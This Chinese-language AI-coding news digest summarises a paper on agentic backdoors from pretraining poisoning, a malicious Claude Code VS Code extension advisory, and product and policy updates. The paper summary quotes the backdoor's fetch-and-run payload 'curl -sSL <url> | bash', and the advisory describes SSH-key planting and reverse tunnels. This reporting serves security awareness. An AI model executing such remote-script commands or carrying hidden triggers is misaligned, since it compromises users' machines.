AI 编程实时动态与要闻

来自 Anthropic Fellows 项目和 Anthropic 的研究者（含 Nicholas Carlini、Javier Rando）在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型，只在预训练语料中混入 0.1% 的投毒文档，再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在：遇到触发条件时，Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令；4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%，而在干净提示上发出恶意命令的比例为 0%。

X 上正在热议的话题：美联社（AP）最新报道称，一些 AI 公司在思考如何教聊天机器人分辨对错时转向了宗教。财经资讯账号 unusual_whales 11 月 1 日转述这篇报道，称 Anthropic 表示已与来自 15 个以上宗教和跨文化群体的学者、神职人员、哲学家和伦理学者会面，以帮助塑造 Claude 处理道德问题的方式。原帖约 880 赞、16.2 万次浏览、189 条回复，X 也把它列入热门新闻话题。Anthropic 这项工作本身并不新：它在 5 月 19 日的官方文章里就已公开说明。以下为讨论整理，观点按观点写。

10 月 27 日前后，有用户发现 Claude Code 从服务端拿到一条新规则（flag 名为 tengu_heron_brook）：可以做原创游戏、某个类型的游戏、用用户自己的设计和素材做游戏，但不要复刻某款具体的现有游戏，即使改名或自称原创也不行。爆料帖 10 月 30 日获得约 8,700 赞、近 200 万浏览。同日，在 Anthropic 负责 Claude Code 的 Addy Osmani 在 X 上确认：团队在 Claude Code 针对 Opus 5.5 的提示词里加了两句话，原因是用 Claude 侵犯知识产权违反使用政策；原创、同类型和用户自有设计的游戏应继续可用，团队会继续调整，被误拒可以直接找他。

10 月 30 日，OpenAI、Google、微软和 Anthropic 分别发文，承诺支持同一个 robots.txt 训练偏好信号：网站只需为策略令牌 __usage_ai-training 写一组 Disallow 规则，就能一次性向所有参与方表达「不要用于生成式 AI 训练」。该机制来自 Anthropic 标准负责人 Kevin Kelley 当天提交的 IETF 个人草案，尚不是正式标准。落地时间各不相同：据 The Verge 和 CNA 报道 Anthropic 已开始实施，OpenAI 称「未来几个月」，微软 2027 年 2 月 1 日起生效，Google 计划在 2027 年支持。

据 Claude 官方 API 更新日志，10 月 29 日 Anthropic 推出 Usage and Cost Analytics API 测试版，新增 /v1/organizations/analytics/usage 和 /analytics/cost 两个端点，可按模型、工作区、API Key 以及发起请求的用户或服务账号筛选、分组，按分钟、小时或天出时间序列；旧的 Usage and Cost API 转为 legacy 但继续支持。10 月 28 日，第一方 Claude API 的 Messages 和 Token Counting 接口单次请求上限从 32 MB 提高到 128 MB。

开源编程 agent OpenCode 于 10 月 30 日 09:55（UTC）发布 v2.2.3，新增内置的「Claude Agent」提供方：安装 Claude Code 并运行 claude auth login 后，在 /connect 里选择 Claude Agent，即可用自己的 Claude Code 登录（订阅、API key 或云账号均可）调用 Claude 模型。它通过 Anthropic 公开的 Claude Agent SDK 运行用户本机的 claude 程序，但关掉 Claude Code 自带工具，改用 OpenCode 自己的工具和权限系统。发布前几小时，OpenCode 团队成员 dax（@thdxr）在 X 上预告「如果能在 opencode 里用你的 Claude 订阅呢」，获约 2,300 赞。

Cursor 10 月 30 日 07:46（UTC）在 X 发布安全通告：其 VS Code 扩展市场中的 Anthropic.claude-code 2.1.313 版本被恶意篡改（并非 Anthropic 开发），10 月 29 日太平洋时间约 2:27 至 13:35 之间可被下载，最多影响 5,000 名用户。恶意代码会收集主机信息、写入攻击者 SSH 公钥、尝试开启反向 SSH 隧道并做持久化。Cursor 已下架该版本、临时关停并重建扩展市场、轮换密钥，并协助云厂商关停攻击服务器；官方要求用户升级到 Claude Code for VS Code 2.1.314 并按博客步骤自查和清理。

Anthropic 于 10 月 30 日 01:06（UTC）在 GitHub 发布 Claude Code v2.1.314，官方 CHANGELOG 列出 119 条变更，超过一半是修复。新功能主要面向企业：permissions.blockWritesOutsideWorkingDirectories 让 Write、Edit、NotebookEdit 在任何权限模式下都拒绝写工作目录之外的路径；Claude apps 网关的上游可以按 IdP 分组限定使用者，Bedrock 上游可记录触发的 guardrail；空闲压缩扩展到 VS Code 和 Claude Desktop 的 Code 标签页。此外修复了管理员限制 effort 时会话反复报错、claude -p 启动失败却返回 0 等问题。